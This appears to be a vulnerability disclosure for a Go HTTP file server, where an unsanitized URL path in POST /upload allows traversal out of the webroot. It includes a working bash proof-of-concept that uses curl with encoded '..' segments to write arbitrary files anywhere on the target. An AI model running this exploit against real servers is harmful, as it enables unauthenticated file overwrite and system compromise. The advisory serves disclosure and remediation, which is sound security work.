### Summary
* POST multipart upload directory not sanitized | `httpserver/updown.go:71-174`

This finding affect the default configuration, no flags or authentication required.

### Details

**File:** `httpserver/updown.go:71-174`
**Trigger:** `POST /<path>/upload` (server.go:49-51 checks `HasSuffix(r.URL.Path, "/upload")`)

The filename is sanitized (slashes stripped, line 105-106), but the target directory comes from `req.URL.Path` unsanitized:

```go
upath := req.URL.Path // unsanitized

targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1] // strips trailing "upload"
target := strings.Join(targetpath, "/")

filenameSlice := strings.Split(part.FileName(), "/")
filenameClean := filenameSlice[len(filenameSlice)-1] // filename sanitized

finalPath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, filenameClean)
```

The route requires the URL to end with `/upload`. An attacker uses a path like `/../../target_dir/upload`, the suffix satisfies routing, and the `../..` escapes the webroot. The filename on disk is controlled by the attacker via the multipart `filename` field (after basename extraction).

**Impact:** Unauthenticated arbitrary file write to any existing directory on the filesystem.

**PoCs:**
```bash
#!/usr/bin/env bash
#
# Example:
# ./arbitrary_overwrite2.sh 10.0.0.5 8080

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL_FILE" ]; then
echo "[-] Local file not found: $LOCAL_FILE"
exit 1
fi

# Split target into directory and filename.
# The server builds: finalPath = UploadFolder + <dir from URL> + "/" + <upload filename>
# So we put the target's dirname in the URL and the target's basename as the upload filename.
TARGET_DIR=$(dirname "$TARGET")
TARGET_NAME=$(basename "$TARGET")

# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%2e%2e/"
done

# Strip leading / and build path ending with /upload
TARGET_REL="${TARGET_DIR#/}"
POST_PATH="/${TRAVERSAL}${TARGET_REL}/upload"

echo "[*] Source: ${LOCAL_FILE}"
echo "[*] Target: ${TARGET}"
echo "[*] POST: ${POST_PATH}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
--path-as-is \
-X POST \
-F "file=@${LOCAL_FILE};filename=${TARGET_NAME}" \
"http://${HOST}:${PORT}${POST_PATH}")

echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."
```

To execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`

---

## Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.

CWE-22 Path Traversal